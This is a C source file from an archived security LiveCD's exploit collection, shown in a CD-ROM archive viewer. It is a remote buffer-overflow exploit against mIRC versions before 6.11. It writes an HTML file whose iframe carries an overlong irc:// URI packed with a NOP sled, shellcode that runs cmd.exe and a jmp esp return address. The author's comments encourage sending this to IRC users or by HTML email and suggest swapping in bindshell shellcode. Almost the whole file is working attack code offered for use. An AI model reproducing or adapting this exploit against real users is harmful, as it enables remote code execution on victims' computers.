home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / mirc / gEEk-fuck-khaled.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  99 lines

  1. /** gEEk-fuck-khaled.c -- remote mirc < 6.11 exploit by blasty
  2.  **
  3.  ** TESTED ON: Windows XP (No SP, Ducth) Build: 2600.xpclient.010817-1148
  4.  **
  5.  ** A few days ago, I saw a mIRC advisory on packetstorm [1] and was surprised
  6.  ** nobody had written an exploit yet. So I decided to start writing one.
  7.  ** Since this was my first time coding a exploit for windows, it took some
  8.  ** research before I got the hang of it. (Ollydbg is much more confusing then GDB btw :P)
  9.  **
  10.  ** This exploits (ab)uses the bug in irc:// URI handling. It contains a buffer-
  11.  ** overflow, and when more then 998 bytes are given EIP will be overwritten.
  12.  **
  13.  ** At first I was thinking of a simple solution to get this exploitable. Since
  14.  ** giving an URI with > 998 chars to someone on IRC is simply NOT done :)
  15.  ** Then I remember the iframe-irc:// flaw found by uuuppzz [2]
  16.  **
  17.  ** This exploit will write an malicious HTML file containing an iframe executing the
  18.  ** irc:// address. So you can give this to anyone on IRC for example ;)
  19.  ** The shellcode included does only execute cmd.exe, because I don't want to be this
  20.  ** a scriptkiddy util. But, replacing the shellcode with your own is also possible.
  21.  ** An 400 bytes shellcode (bindshell etc.) easily fits in the buffer, but it may require
  22.  ** some tweaking.
  23.  ** After exiting the cmd.exe mIRC will crash, so shellcode its not 100% clean, but who carez :)
  24.  **
  25.  ** Oh yeah, I almost forgot.. this exploit also works even if mIRC isn't started.
  26.  ** mIRC will start automatically when an irc:// is executed, so you can also send somebody
  27.  ** and HTML email containing the evil HTML code. (only for poor clients like Outlook Express :P)
  28.  **
  29.  ** Anyway, have fun with it, and dont own complete newb #chans :P
  30.  **
  31.  ** Greetz to:
  32.  ** inz, demz, gEEkz team
  33.  **
  34.  ** [1] http://www.packetstormsecurity.nl/0310-advisories/mirc61.txt
  35.  ** [2] http://www.uuuppz.com/research/adv-001-mirc.htm
  36.  **
  37.  ** -- blasty (blasty@geekz.nl / www.geekz.nl)
  38.  **/
  39.  
  40. #include <stdio.h>
  41.  
  42.  
  43. /* Stupid cmd.exe exec shellcode. hey! I r !evil ;) */
  44. unsigned char shellcode[] =
  45.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  46.     "\x8b\xec\x55\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8"
  47.     "\x44\x80\xbf\x77"            //    0x78bf8044 <- adress of system()
  48.     "\xff\xd0";                //      call    system()
  49.  
  50.  
  51. char jmpback[] =
  52.         "\xE9\xCF\xFB\xFF\xFF"; // my leet negative JMP shellcode :)
  53.  
  54. char buffer[1100], fstring[1300]; // heh, need to clean this up
  55.  
  56. int main(int argc, char *argv[]) {
  57.     FILE *evil;
  58.  
  59.     fprintf(stdout, "---------------------------------------------\n"
  60.             "mIRC < 6.11 remote exploit by blasty@geekz.nl\n"
  61.             "---------------------------------------------\n\n");
  62.  
  63.     // NOPslides are cool
  64.     memset(buffer, 0x90, sizeof(buffer) - 1);
  65.  
  66.     // place shellcode in buffer
  67.     memcpy(buffer + 20, shellcode, strlen(shellcode));
  68.  
  69.     // took this one from ntdll.dll (jmp esp)
  70.     *(long *)&buffer[994] = 0x77F4801C;
  71.  
  72.     // place jmpback shellcode in buffer
  73.     memcpy(buffer + 20 + strlen(shellcode) + 1010, jmpback, strlen(jmpback));
  74.  
  75.     printf("[+] Evil buffer constructed\n");
  76.  
  77.  
  78.     // open HTML file for writing
  79.     if((evil = fopen("index.html", "a+")) != NULL) {
  80.  
  81.         // construct evil string :)
  82.         sprintf(fstring, "<iframe src=\"irc://%s\"></iframe>", buffer);
  83.  
  84.         // write string to file
  85.         fputs(fstring, evil);
  86.  
  87.         // close file
  88.         fclose(evil);
  89.  
  90.         printf("[+] Evil HTML file written!\n");
  91.         return(0);
  92.     } else {
  93.         // uh oh.. :/
  94.         fprintf(stderr, "ERROR: Could not open index.html for writing!\n");
  95.         exit(1);
  96.     }
  97. }
  98.  
  99.